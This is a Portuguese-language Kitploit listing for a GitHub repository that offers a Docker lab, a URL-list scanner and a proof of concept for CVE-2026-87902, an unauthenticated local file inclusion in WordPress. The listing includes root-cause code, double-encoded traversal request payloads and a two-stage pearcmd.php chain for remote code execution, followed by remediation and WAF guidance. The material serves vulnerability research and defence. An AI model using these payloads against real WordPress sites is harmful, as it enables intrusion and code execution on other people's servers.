Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-87902-wordpress-lfi-lab — Laboratório de reprodução + scanner de lista de URLs + PoC para CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI não autenticado no get_page_template() do WordPress para RCE condicional (WP 4.7.0-7.1.1, corrigido na 7.1.2). Testes autorizados/defensivos. | Kitploit
Ferramentas/GitHubGitHub/dinosn/cve-2026-87902-wordpress-lfi-lab
Scanners de VulnerabilidadesScanners de Vulnerabilidades WebAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
Desenvolvimento de Payloads
Labs e Prática
GitHubdinosn/cve-2026-87902-wordpress-lfi-lab

cve-2026-87902-wordpress-lfi-lab

Laboratório de reprodução + scanner de lista de URLs + PoC para CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI não autenticado no get_page_template() do WordPress para RCE condicional (WP 4.7.0-7.1.1, corrigido na 7.1.2). Testes autorizados/defensivos.

Ver Repositório
35há 18h 59mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-87902 / GHSA-7hp8-65ch-5whp — LFI não autenticado no get_page_template() do WordPress → RCE condicional

Laboratório de reprodução + scanner de lista de URLs + PoC, construído e validado de ponta a ponta contra WordPress genuíno 7.1.1 (vulnerável) e 7.1.2 (corrigido) no laboratório Docker.

  • Aviso: https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Tipo: CWE-98 controle inadequado do nome de arquivo para include/require (path traversal → inclusão local de PHP)
  • Afetados: WordPress 4.7.0 – 7.1.1 (corrigido em 7.1.2 e backports por branch: 7.0.6, 6.9.9, 6.8.10 … até 4.7.37)
  • Autenticação: nenhuma. CVSS 4.0: 9.2 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H)
  • Pré-condições: (1) o tema ativo possui um diretório de nível superior chamado page-* (por exemplo, — presente no Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) apenas para RCE: um legível e .
page-templates/
pearcmd.php
register_argc_argv=On

1. Causa raiz (verificada contra o código-fonte 7.1.1 vs 7.1.2)

wp-includes/template.php :: get_page_template() constrói um candidato a template a partir da query var pagename controlada pelo atacante sem validate_file():

root@kitploit:~
// WordPress 7.1.1 (VULNERABLE)
if ( $pagename ) {
    $pagename_decoded = urldecode( $pagename );
    if ( $pagename_decoded !== $pagename ) {          // <-- no validate_file()
        $templates[] = "page-{$pagename_decoded}.php";
    }
    $templates[] = "page-{$pagename}.php";
}
root@kitploit:~
// WordPress 7.1.2 (PATCHED) — the guard the sibling $template branch already had, + realpath containment
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
    $templates[] = "page-{$pagename_decoded}.php";
}
// plus new _wp_is_template_path_allowed() enforcing the resolved path stays inside a theme root

locate_template() então faz file_exists($theme_dir . '/' . $candidate) e dá include no acerto. Como o candidato é page-{...}.php, o payload deve continuar um diretório real do tema que começa com page- (por exemplo, page-templates/) e então subir com ../ para qualquer .php legível.

A codificação dupla é obrigatória. get_query_var('pagename') já é decodificado uma vez pelo PHP, então um ../ simples faz urldecode($pagename) === $pagename e o branch vulnerável é ignorado. Um %252e%252e%252f duplamente codificado sobrevive à primeira decodificação como %2e%2e%2f e é transformado em ../ apenas pelo urldecode() extra — que é o bug.


2. Laboratório (lab/)

Releases genuínas lado a lado no host Docker, diferindo apenas pela correção de segurança:

ServiçoURL (somente loopback)WordPressPapel
wp-vulnhttp://127.0.0.1:80917.1.1vulnerável
wp-patchedhttp://127.0.0.1:80927.1.2controle corrigido
db—MySQL 8.4compartilhado (dois bancos de dados)

Imagem base wordpress:php8.3-apache (que já inclui pearcmd.php e register_argc_argv=On), com o core empacotado substituído pelos autênticos wordpress-7.1.1.zip / 7.1.2.zip. O Twenty Fourteen está ativado (com page-templates/ real), e um fixture page-templates/ também é criado no tema ativo. ID da página publicada = 2 (Sample Page).

root@kitploit:~
# on the docker lab host
cd /tmp/cve-2026-87902-lab
./up.sh        # build + install both instances (idempotent)
./down.sh      # tear down + remove volumes

As portas vinculam-se apenas a 127.0.0.1 — a instância vulnerável nunca é exposta à rede.


3. Scanner / PoC (poc/cve-2026-87902-scan.py)

Python 3, somente stdlib (sem pip install). Recebe uma lista de URLs e reporta quais são vulneráveis. A varredura padrão é não destrutiva: inclui o arquivo core somente leitura wp-links-opml.php e procura pelo documento OPML resultante — prova de que a inclusão arbitrária de .php disparou, sem escritas e sem mudança de estado.

root@kitploit:~
# single URL
./cve-2026-87902-scan.py http://target/

# a list of your assets, JSON report, 20 workers
./cve-2026-87902-scan.py -f urls.txt --threads 20 --json report.json

# from stdin, only show vulnerable/possibly rows
cat urls.txt | ./cve-2026-87902-scan.py --stdin -q

Como um alvo é classificado

  1. Fingerprint do WordPress + versão (meta generator → feed <generator> → wp-links-opml.php → readme.html → asset /wp-includes/ ?ver=).
  2. Descobrir um ID de página publicada válido (REST /wp/v2/pages, fallback ?rest_route=, homepage page-id-N, padrão page_id=2) — necessário para que a requisição resolva para uma Page e get_page_template() execute.
  3. Varredura do oráculo OPML: para segment × depth (segment padrão templates, profundidades 4,3,5,6,7), envia page_id=<id>&pagename=<../ duplamente codificado → wp-links-opml> (POST, para evitar redirecionamento canônico) e exige um HTTP 200 contendo <opml version="1.0"> + um marcador secundário estrutural (</opml> / <outline / <dateCreated>).
  4. Controle negativo (prova de causação): em um acerto, reemite a requisição idêntica apontando para um .php garantidamente inexistente. Se o OPML ainda aparecer, o OPML é ambiente (proxy / cache / app de feed), não a nossa inclusão → rebaixado para POSSIBLY. Apenas um acerto cujo controle é limpo é VULNERABLE.

Robustez: preserva caminhos de subdiretório (http://host/blog), lida com gzip/deflate e charsets incomuns, repete uma sondagem uma vez em erro de transporte, descobre/valida IDs de página (REST → ?rest_route= → homepage → padrões), impõe um orçamento de tempo por alvo, e nunca afirma NOT_VULNERABLE a partir de uma fonte de versão de baixa confiança (asset ?ver= / readme.html) — essas degradam para POSSIBLY.

VereditoSignificado
VULNERABLEoráculo OPML disparou — LFI confirmado (definitivo)
NOT_VULNERABLEversão do branch corrigido, ou versão fora de 4.7.0–7.1.1
POSSIBLY_VULNERABLEversão vulnerável/desconhecida mas oráculo silencioso (provavelmente sem diretório de tema page-*, layout não padrão, ou sem ID de página descobrível) — verifique manualmente
NOT_WORDPRESS / ERRORsem indicadores de WP / falha de transporte

Código de saída: 2 se algum VULNERABLE, 1 se algum POSSIBLY (e nenhum VULNERABLE), caso contrário 0.

Flags úteis: --segments, --depths, --method {POST,GET,both}, --page-id, --max-pageids, --max-time (orçamento por alvo), --timeout, --threads, --proxy, --header, --insecure (TLS desligado — apenas dev), --json, --jsonl. Para uma instalação WordPress em subdiretório, passe a base completa (por exemplo, https://host/blog); para Bedrock/core em wp/ a varredura também tenta alvos de oráculo com prefixo wp/.

Escalação para RCE (opt-in, uso em laboratório)

root@kitploit:~
./cve-2026-87902-scan.py http://target/ --verify-rce --i-have-authorization --page-id 2

Executa a cadeia PEAR pearcmd.php: a query string dividida por + carrega argv de config-create que escreve um marcador .php sem aspas em /tmp; uma segunda requisição o inclui. Imprime o marcador executado + php_uname() + uid. Escreve um arquivo no alvo → alvo único, requer --i-have-authorization, desligado por padrão.


4. Evidências (evidence/)

ArquivoO que prova
manual-validate.sh / ev-lfi.logoráculo OPML dispara no 7.1.1 (profundidade 4, POST e GET), silencioso no 7.1.2; apenas profundidade 4 funciona; codificação única falha
rce-validate.sh / ev-rce.logRCE PEAR completo no 7.1.1 (uid=33 como www-data, profundidade 7); corrigido não escreve arquivo, não executa nada
ev-scan-table.log / ev-scan-results.jsonscanner sobre {vuln, patched, non-WP, dead}: VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR

Formatos de requisição comprovados:

root@kitploit:~
LFI (detection, non-destructive):
  POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
  -> 200 with <opml version="1.0"> in the body   (depth 4 = webroot on /var/www/html)

RCE (conditional; register_argc_argv=On + readable pearcmd.php):
  Stage 1  POST /?+config-create+/<?=...chr()-built payload...?>+/tmp/x.php
           body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
  Stage 2  POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
           -> body contains the executed marker + php_uname() + uid=33

5. Remediação

  • Atualize o WordPress para 7.1.2 (ou a release corrigida para o seu branch: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
  • Defesa em profundidade: defina register_argc_argv=Off no PHP para o SAPI web e remova/negue pearcmd.php; isso remove a escalação para RCE mesmo que o LFI seja alcançável.
  • Detecção/WAF: após decodificar completamente as chaves e valores dos parâmetros de URL (e parâmetros duplicados), bloqueie qualquer pagename contendo ..; a coocorrência de page_id + um pagename começando com templates%252f / contendo %252e%252e na raiz do site ou em /index.php é um sinal de exploração quase certo.

Apenas para testes de segurança autorizados, educação e pesquisa defensiva.

Baixar ferramenta